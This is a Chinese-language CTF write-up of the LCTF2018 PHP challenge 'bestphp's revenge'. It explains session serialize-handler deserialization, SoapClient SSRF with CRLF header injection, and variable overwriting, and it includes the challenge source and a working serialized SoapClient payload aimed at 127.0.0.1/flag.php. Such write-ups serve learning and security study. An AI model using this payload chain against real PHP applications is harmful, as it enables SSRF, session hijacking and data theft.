bestphp‘s revenge

这题开始我不知道是不是环境的原因,一模一样的payload前天一直出不来,但是今天却出来了,赶紧记录一下,知识点考的挺多的

1、session反序列化
2、php原生类SoapClient的SSRF
3、CRLF
4、变量覆盖

1、session反序列化,我新学的一个东西,起初没碰过这种题目,其暗示想到的hint在于session_start();PHPsession反序列化 - 百度文库

其原理是利用php编译器序列化保存的不同

php.ini中存在三项配置
session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)

其中serialize_handler保存和读取时处理器的不同,会造成漏洞

php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

当我们模式是php的时候

$_SESSION[‘name’] = ‘sky’;
name|s:3:”sky”
利用|来区分键值

php_serialize模式

$_SESSION[‘name’] = ‘sky’;
a:1:{s:4:”name”;s:3:”sky”;}
就是我们最普通那种序列化
当我们如果用php_serialize存入一组数据的时候
$_SESSION[‘name’] = ‘|sky’;
他会保存为a:1:{s:4:”name”;s:4:”|sky”;}
用php模式取出的时候
|前面会被当做键值a:1:{s:4:”name”;s:3:”
从而引发注入

2、php原生类SoapClient

SoapClient是php的内置类,主要利用其中的魔术方法__call,当调用一个不存在的方法的时候会发送post请求,我们可以利用他来SSRF(这一题没看wp之前不知道有个flag.php,里面告诉我们要用本地地址)

SoapClient原生类在开发以及安全中利用 借用一下资料

 可以利用其中的location参数改为http://127.0.0.1/flag.php来进行SSRF

3、CRLF

[转载]CRLF Injection漏洞的利用与实例分析 - 简书

CRLF的原理其实很简单,是利用回车+换行(\r\n)在post头部中来进行注入我们需要构造的信息,有点像sql注入的时候闭合前面语句一样,只是方式符号不同罢了

可以联系SoapClient原生类来将里面请求的数据加上\r\n来输入我们需要的头部信息

4、变量覆盖

利用extract函数来将已经定义好的变量进行覆盖,达到自己控制的效果

进入题目

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

call_user_func函数 PHP: call_user_func - Manual

有两种传参方式:1、第一个参数是回调函数名称,可以是内置函数,第二个参数是函数的参数

2、传入的是数组的时候,会将第一个参数视为一个类的名称,第二个参数是类中的方法(可以不存在)

不会告诉你们我一开始第一印象是利用这个函数来执行system命令,后面看了wp发现太丢脸了……

将传入的name参数的值赋给session,再用var_dump来进行打印输出,在flag.php中可以知道

必须要用127.0.0.1请求才能将flag写入session中间 ,于是我们这里思路很明确了,我们先利用php_serialize引擎写入|o……SoapClient的序列化的值存入name中,再二次传参用php引擎解析,让|前面的值变为键,后面构造成新的序列化(有一点像序列化字符逃逸的感觉),再利用call_user_func函数引发SoapClient类中的__call函数来进行SSRF成功获得flag。

我们先构造payload(借用别人wp的)

<?php
$a = new SoapClient(null,
    array(
        'user_agent' => "z3eyond\r\nCookie:PHPSESSID=123456789",
        'uri' => 'z3eyond',
        'location' => 'http://127.0.0.1/flag.php'
    )
);
$b = serialize($a);
echo urlencode($b);
//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A7%3A%22z3eyond%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A35%3A%22z3eyond%0D%0ACookie%3APHPSESSID%3D123456789%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

 记得上传的时候加|,f改为session_start函数来修改php引擎session.serialize_handler 

可以看见我们成功将构造的payload传入了name参数中,并且保留了|没有被解析;接下来二次传参来引发SoapClient类的__call函数,注意$a已经是一个数组了,我们可以想到call_user_func函数传入参数为一个数组的时候,会将第一个参数当作类名,第二个参数作为方法来调用,因此我们可以利用exrtact函数进行变量覆盖b,因此最后一样代码会执行为

call_user_func($b, $a);
call_user_func(call_user_func,array(reset($_SESSION), 'welcome_to_the_lctf2018');)

会调用SoapClient类的welcome_to_the_lctf2018的方法,因为没有,所以会触发__call

可以看见已经被默认的php引擎解析了, 改一下自己的phpsessid即可

 学到了很多,ctf真的有趣

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值